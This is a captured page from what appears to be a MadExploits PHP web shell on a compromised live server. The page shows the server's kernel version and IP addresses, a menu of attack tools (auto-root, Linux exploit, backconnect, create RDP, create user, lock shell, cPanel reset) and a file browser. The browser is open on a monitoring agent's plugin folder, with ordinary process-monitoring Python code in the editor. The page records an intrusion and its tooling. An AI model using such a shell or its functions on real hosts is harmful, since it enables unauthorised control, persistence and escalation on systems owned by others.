Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.217.252.194
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
fm-agent /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
apache.py
19.06
KB
-rw-r--r--
apache_kafka.py
12.9
KB
-rw-r--r--
apache_zookeeper.py
6.26
KB
-rw-r--r--
bandwidth.py
21.3
KB
-rw-r--r--
cassandra.py
9.21
KB
-rw-r--r--
cert.py
2.78
KB
-rw-r--r--
couch.py
9.5
KB
-rw-r--r--
cpu_usage.py
33
KB
-rw-r--r--
dem_plugin.py
6.08
KB
-rw-r--r--
disk.py
16.48
KB
-rw-r--r--
docker.py
38.41
KB
-rw-r--r--
elasticsearch.py
2.83
KB
-rw-r--r--
entropy.py
900
B
-rw-r--r--
exim.py
1.01
KB
-rw-r--r--
file_presence.py
5
KB
-rw-r--r--
haproxy.py
13.37
KB
-rw-r--r--
io_stats.py
13.41
KB
-rw-r--r--
jboss.py
13.46
KB
-rw-r--r--
jmx.py
8.02
KB
-rw-r--r--
linux_logs.py
3.4
KB
-rw-r--r--
lm_sensors.py
2.51
KB
-rw-r--r--
logstash_forwarder.py
1.58
KB
-rw-r--r--
memcache.py
5.99
KB
-rw-r--r--
memory_usage.py
26.11
KB
-rw-r--r--
mongo.py
15.96
KB
-rw-r--r--
mysql.py
19.74
KB
-rw-r--r--
nagios.py
5.36
KB
-rw-r--r--
nginx.py
11.96
KB
-rw-r--r--
nodejs.py
6.29
KB
-rw-r--r--
ntp.py
1.98
KB
-rw-r--r--
opcache.py
2.26
KB
-rw-r--r--
oracle.py
15.15
KB
-rw-r--r--
package_upgrade.py
8.08
KB
-rw-r--r--
phpfpm.py
5.51
KB
-rw-r--r--
ping.py
2.45
KB
-rw-r--r--
postfix.py
1.98
KB
-rw-r--r--
postgresql.py
19.13
KB
-rw-r--r--
process.py
16.32
KB
-rw-r--r--
rabbitmq.py
19.33
KB
-rw-r--r--
redis.py
11.19
KB
-rw-r--r--
sendmail.py
2.39
KB
-rw-r--r--
sysctl.py
1.46
KB
-rw-r--r--
tcp.py
6.26
KB
-rw-r--r--
template.py
3.28
KB
-rw-r--r--
tomcat.py
6.79
KB
-rw-r--r--
tomcat_jmx.py
15.82
KB
-rw-r--r--
unbound_dns.py
4.54
KB
-rw-r--r--
uptime.py
3.46
KB
-rw-r--r--
users.py
1.09
KB
-rw-r--r--
uwsgi.py
4.57
KB
-rw-r--r--
varnish.py
4.79
KB
-rw-r--r--
weblogic.py
13.38
KB
-rw-r--r--
weblogic12c.py
18.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : process.py
import os import sys import agent_util try: import psutil except: psutil = None import re class ProcessPlugin(agent_util.Plugin): textkey = "process" label = "Process" @classmethod def get_metadata(self, config): status = agent_util.SUPPORTED msg = None if 'aix' in sys.platform: status = agent_util.SUPPORTED msg = None elif "darwin" in sys.platform: status = agent_util.SUPPORTED msg = None elif 'vmware' in sys.platform: status = agent_util.SUPPORTED msg = None elif psutil is None: # Unable to import psutil self.log.info("Unable to import psutil library, no process metrics available") status = agent_util.UNSUPPORTED msg = "Unable to import psutil library, please install and rebuild metadata" elif not os.path.exists("/proc"): self.log.info("/proc not found") status = agent_util.UNSUPPORTED msg = "Enable procfs." return {} if 'vmware' in sys.platform: metadata = { "process.named_count": { "label": "Number of processes - name", "options": None, "status": status, "error_message": msg, "unit": "processes", "option_string": True }, "process.named_count.full": { "label": "Number of processes - full command line", "options": None, "status": status, "error_message": msg, "unit": "processes", "option_string": True }, "process.exists": { "label": "Process is running", "options": None, "status": status, "error_message": msg, "unit": "boolean", "option_string": True }, "process.exists.full": { "label": "Process is running - full command line", "options": None, "status": status, "error_message": msg, "unit": "boolean", "option_string": True }, } else: metadata = { "process.running_count": { "label": "Number of processes running", "options": None, "status": status, "error_message": msg, "unit": "processes" }, "process.named_count": { "label": "Number of processes - name", "options": None, "status": status, "error_message": msg, "unit": "processes", "option_string": True }, "process.named_memory_percentage": { "label": "Memory percentage of processes - name", "options": None, "status": status, "error_message": msg, "unit": "percent", "option_string": True }, "process.named_cpu_percentage": { "label": "CPU percentage of processes - name", "options": None, "status": status, "error_message": msg, "unit": "percent", "option_string": True }, "process.exists": { "label": "Process is running", "options": None, "status": status, "error_message": msg, "unit": "boolean", "option_string": True }, "process.thread_count": { "label": "Process Thread Count - executable name only", "options": None, "status": status, "error_message": msg, "unit": "threads", "option_string": True }, "process.named_count.full": { "label": "Number of processes - full command line", "options": None, "status": status, "error_message": msg, "unit": "processes", "option_string": True }, "process.named_memory_percentage.full": { "label": "Memory percentage of processes - full command line", "options": None, "status": status, "error_message": msg, "unit": "percent", "option_string": True }, "process.named_memory_raw_mb.full": { "label": "MB of memory used by processes - full command line", "options": None, "status": status, "error_message": msg, "unit": "MB", "option_string": True }, "process.named_cpu_percentage.full": { "label": "CPU percentage of processes - full command line", "options": None, "status": status, "error_message": msg, "unit": "percent", "option_string": True }, "process.exists.full": { "label": "Process is running - full command line", "options": None, "status": status, "error_message": msg, "unit": "boolean", "option_string": True }, "process.thread_count.full": { "label": "Process Thread Count - executable name and args", "options": None, "status": status, "error_message": msg, "unit": "threads", "option_string": True } } return metadata def check(self, textkey, data, config): if 'aix' in sys.platform or 'sunos' in sys.platform: #ps_cmd = "ps -eo %p' '%a" if 'aix' in sys.platform: ps_cmd = "ps axww" elif 'sunos' in sys.platform: ps_cmd = "ps -eo pid' 'args" retcode, output = agent_util.execute_command(ps_cmd) output = output.split('\n') if textkey.endswith('.full'): textkey = textkey.rstrip('.full') if textkey == 'process.running_count': return len(output)-1 else: count = 0 pids = [] for line in output[1:]: if data in line: count += 1 pids.append(line.split()[0]) if textkey == 'process.named_count': return count elif textkey == 'process.exists': if count: return 1 else: return 0 elif textkey in ["process.named_memory_percentage", "process.named_cpu_percentage", "named_memory_raw_mb"]: all_cpu = 0 all_mem = 0 all_raw_kb = 0 for pid in pids: if 'aix' in sys.platform: ps = "ps -fp %s -o pcpu,pmem,rss" % pid elif 'sunos' in sys.platform: ps = "ps -fp %s -o pcpu,pmem,rss" % pid ret, output = agent_util.execute_command(ps) output = output.strip().split('\n') if len(output) < 2: continue fields = output[1].split() cpu = float(fields[0]) mem = float(fields[1]) raw_kb = float(fields[2]) all_cpu += cpu all_mem += mem all_raw_kb += raw_kb if textkey == "process.named_memory_percentage": return all_mem if textkey == "process.named_memory_raw_mb": return float(all_raw_kb)/1024 else: return all_cpu # Unknown AIX/Solaris textkey return None # vmware logic elif 'vmware' in sys.platform: pgrep = agent_util.which("pgrep") cmd = "" if not pgrep: self.log.error("Unable to find 'pgrep'! Unable to check for processes") return None if textkey.endswith(".full"): cmd = "%s -f" % (pgrep) else: cmd = "%s" % (pgrep) cmd += ' %s' % data ret, output = agent_util.execute_command(cmd) out = output.split('\n') if textkey.startswith('process.named_count'): return len(out)-1 if textkey.startswith('process.exists'): if len(out) - 1 > 0: return 1 else: return 0 if psutil is None: # Unable to import psutil, log and move on self.log.info("Unable to import psutil library, no process metrics available") return None # Default Linux/FreeBSD logic search = "name" if textkey.endswith(".full"): textkey = textkey.rstrip(".full") search = "cmdline_str" # updated to use psutil library to get all processes and pull the name, pid and cmdline # this gets all the processes as objects process_objs = psutil.process_iter() processes = [] data = str(data) if textkey.startswith("process.named_cpu_percentage") and search == 'name': for proc in process_objs: try: if re.search(data, proc.name()): processes.append( proc.as_dict(attrs=['pid', 'cmdline', 'name', 'cpu_times']) ) except psutil.NoSuchProcess: self.log.exception('Unable to get process.') continue elif textkey.startswith("process.named_cpu_percentage") and search == 'cmdline_str': for proc in process_objs: try: if re.search(data, ' '.join(proc.cmdline())): processes.append( proc.as_dict(attrs=['pid', 'cmdline', 'name', 'cpu_times']) ) except psutil.NoSuchProcess: self.log.exception('Unable to get process.') continue else: # this iterates through and shaves off infomation that isn't needed so we can filter on it later for proc in process_objs: try: processes.append( proc.as_dict(attrs=['pid', 'cmdline', 'name', 'cpu_percent', 'memory_percent', 'memory_info', 'num_threads']) ) except psutil.NoSuchProcess: self.log.exception('Unable to get process.') continue # setting up a process list for us to transform the split cmdline entires into cmdline_str for proc in processes: if not proc['cmdline']: proc['cmdline_str'] = '' continue proc['cmdline_str'] = ' '.join(proc['cmdline']) self.log.debug("All running processes:\n%s\n" % processes) if textkey == "process.running_count" or textkey == "count": return len(psutil.pids()) if textkey == "process.named_count": found_procs = [] self.log.info("Searching processes for '%s'" % data) for proc in processes: if proc[search] is not None and re.search(data, proc[search]): found_procs.append(proc) self.log.debug(found_procs) return len(found_procs) elif textkey == "process.exists": found_procs = [] self.log.info("Searching processes for '%s'" % data) for proc in processes: if proc[search] is not None and re.search(data, proc[search]): found_procs.append(proc) self.log.debug(found_procs) if found_procs: return 1 else: return 0 elif textkey in ["process.named_memory_percentage", "process.named_memory_raw_mb", "process.thread_count"]: found_procs = [] self.log.info("Searching processes for '%s'" % data) for proc in processes: if proc[search] is not None and re.search(data, proc[search]): found_procs.append(proc) self.log.debug(found_procs) self.log.debug("Found matching processes: %s" % [p[search] for p in found_procs]) # return 0 if no procs found if not found_procs: return 0 all_cpu = 0 all_mem = 0 all_raw_mem = 0 all_thread_count = 0 if 'darwin' == sys.platform: rv = self.findDarwinProcInfo(found_procs) all_cpu = rv['cpu_percent'] all_mem = rv['memory_percent'] all_raw_mem = rv['memory_info'] all_thread_count = rv['num_threads'] else: for pid in found_procs: cpu = pid['cpu_percent'] mem = pid['memory_percent'] mem_raw = pid['memory_info'].rss thread_count = pid['num_threads'] all_cpu += cpu all_mem += mem all_raw_mem += mem_raw all_thread_count += thread_count all_raw_mem = float(all_raw_mem)/(1024*1024) if textkey == "process.named_memory_percentage": return all_mem if textkey == "process.named_memory_raw_mb": return all_raw_mem if textkey == "process.thread_count": return all_thread_count else: return all_cpu elif textkey in ['process.named_cpu_percentage', 'process.named_cpu_percentage.full']: if processes: user_sum = sum([p.get('cpu_times').user + p.get('cpu_times').system for p in processes]) else: return 0. last_result = self.get_cache_results(textkey, data) if not last_result: self.cache_result(textkey, data, user_sum) return None delta, previous = last_result[0] time_used_result = (user_sum - previous) / delta self.cache_result(textkey, data, user_sum) number_of_cores = psutil.cpu_count() if not number_of_cores: number_of_cores = 1 return (time_used_result / number_of_cores) * 100 return 0 def findDarwinProcInfo(self, found_procs): """ On OSX, psutil will not report process information on processes belonging to other users, unless the requesting process is privileged. https://github.com/giampaolo/psutil/issues/883 """ pids = [] for fp in found_procs: pids.append(str(fp['pid'])) rc, output = agent_util.execute_command( 'ps uM -p {}'.format(','.join(pids)) ) lines = output.split('\n') procLines = lines[1:] rv = { 'cpu_percent' : float(0), 'memory_percent' : float(0), 'memory_info' : float(0), 'num_threads' : len(procLines) } for l in procLines: info = l.split() if len(info) == 14: # Full info line for process rv['cpu_percent'] += float(info[2]) rv['memory_percent'] += float(info[3]) rv['memory_info'] += float(info[5]) m = rv['memory_info'] rv['memory_info'] = float(m) / 1024 return rv
Close